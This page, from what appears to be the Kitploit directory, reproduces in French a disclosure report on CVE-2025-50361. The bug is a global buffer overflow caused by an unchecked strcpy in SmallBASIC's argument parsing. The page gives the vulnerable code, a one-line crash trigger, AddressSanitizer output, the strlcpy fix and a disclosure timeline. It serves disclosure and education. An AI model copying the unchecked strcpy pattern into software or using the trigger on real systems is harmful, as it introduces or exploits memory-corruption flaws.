Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-50361 — Rapport et PoC d'un Global Buffer Overflow sur SmallBASIC avant 02364eff880ba62afac67bcceebafade2b40d21f | Kitploit
Outils/GitHubGitHub/ch1keen/cve-2025-50361
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationApprentissage et ÉducationExploitation de Binaires
GitHubch1keen/cve-2025-50361

CVE-2025-50361

Rapport et PoC d'un Global Buffer Overflow sur SmallBASIC avant 02364eff880ba62afac67bcceebafade2b40d21f

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Dépassement de tampon global dans SmallBASIC

SmallBASIC est un interpréteur du langage BASIC rapide et facile à apprendre, idéal pour les calculs quotidiens, les scripts et les prototypes. SmallBASIC inclut des fonctions trigonométriques, matricielles et algébriques, un IDE intégré, une bibliothèque de chaînes puissante, des commandes système, sonores et graphiques ainsi qu'une syntaxe de programmation structurée.

  • Version concernée : Avant le commit 02364eff880ba62afac67bcceebafade2b40d21f (commité le 06/06/2025).
  • Version corrigée : Commit 02364eff880ba62afac67bcceebafade2b40d21f. Voir le commit

Cause racine

À la ligne 277 du fichier src/platform/sdl/main.cpp, strcpy est appelé pour copier argv vers la variable globale opt_command, qui est définie dans src/common/smbas.h. La variable globale est un tableau de taille fixe, conformément à la macro OPT_CMD_CZ définie dans le même fichier.

root@kitploit:~
// src/common/smbas.h:105
EXTERN char opt_command[OPT_CMD_CZ] //

// src/platform/sdl/main.cpp:263
  while (1) {
    int option_index = 0;
    int c = getopt_long(argc, argv, "hvkc:f:r:x:n:m:e:d:p:", OPTIONS, &option_index);
    if (c == -1) {
      // no more options
      if (!option_index) {
        for (int i = 1; i < argc; i++) {
          const char *s = argv[i];
          int len = strlen(s);
          if (runFile == NULL
              && ((strcasecmp(s + len - 4, ".bas") == 0 && access(s, 0) == 0)
                  || (strstr(s, "://") != NULL))) {
            runFile = strdup(s);
          } else if (chdir(s) != 0) {
            strcpy(opt_command, s);  // VULNERABLE
          }
        }
      }
      break;
    }

Selon src/common/smbas.h, OPT_CMD_CZ est défini à 1024.

root@kitploit:~
#define OPT_CMD_CZ 1024

Contrairement à la fonction strlcpy, strcpy ne vérifie pas le nombre d'octets à copier. Ainsi, plus de 1024 octets peuvent être copiés dans le tableau opt_command. Comme l'argument de la ligne de commande peut dépasser 1024 octets, l'entrée peut écraser d'autres objets. Cela peut amener le programme sbasicg à avoir des comportements inattendus.

Notez que la longueur maximale d'une chaîne que vous pouvez utiliser dans l'invite de commande sous Windows est de 8191 caractères. Sous Linux, la longueur dépend de ARG_MAX et MAX_ARG_STRINGS.

  • Windows: https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation#more-information
  • Linux: https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument

Déclencheur (Preuve de concept)

Construisez le projet SmallBASIC, puis exécutez

root@kitploit:~
$ src/platform/sdl/sbasicg $(python -c 'print("a"*1024)')

Cela provoque un dépassement de tampon global lors de l'analyse de l'argument de la ligne de commande implémenté dans la fonction main. Voici la sortie d'Adress Sanitizer :

root@kitploit:~
=================================================================
==5322==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000016c22a0 at pc 0x0000004ba2e4 bp 0x7ffeb3ebac70 sp 0x7ffeb3eba428
WRITE of size 1025 at 0x0000016c22a0 thread T0
    #0 0x4ba2e3 in strcpy (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)
    #1 0x8759c6 in main /home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/main.cpp:277:13
    #2 0x79e3ca62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x79e3ca62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x4378b4 in _start (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4378b4) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)

0x0000016c22a0 is located 0 bytes after global variable 'opt_command' defined in '/home/ch1keen/fuzz/SmallBASIC/src/common/smbas.h:105' (0x16c1ea0) of size 1024
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea) in strcpy
Shadow bytes around the buggy address:
  0x0000016c2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000016c2280: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2300: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2380: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5322==ABORTING

Impact

L'impact de la vulnérabilité n'est pas clair. Cependant, un dépassement de tampon global peut écraser d'autres variables globales, ce qui peut entraîner l'écrasement des drapeaux et des paramètres du programme.

Le correctif

La vulnérabilité a été corrigée en remplaçant presque tous les strcpy par strlcpy, y compris le problème que j'ai signalé.

root@kitploit:~
@@ -277,1 +277,1 @@ int main(int argc, char* argv[]) {
< strcpy(opt_command, command);
---
> strlcpy(opt_command, command, sizeof(opt_command));

Voir le commit pour le correctif détaillé.

Calendrier de divulgation

  • 2025.05.18 : Rapport de vulnérabilité envoyé au mainteneur ([email protected]).
  • 2025.05.18 : Signalé à MITRE.
  • 2025.06.06 : Le mainteneur a publié le correctif.
  • 2025.07.09 : Divulgation publique.
  • 2025.08.13 : MITRE a attribué CVE-2025-50361.
Télécharger l’outil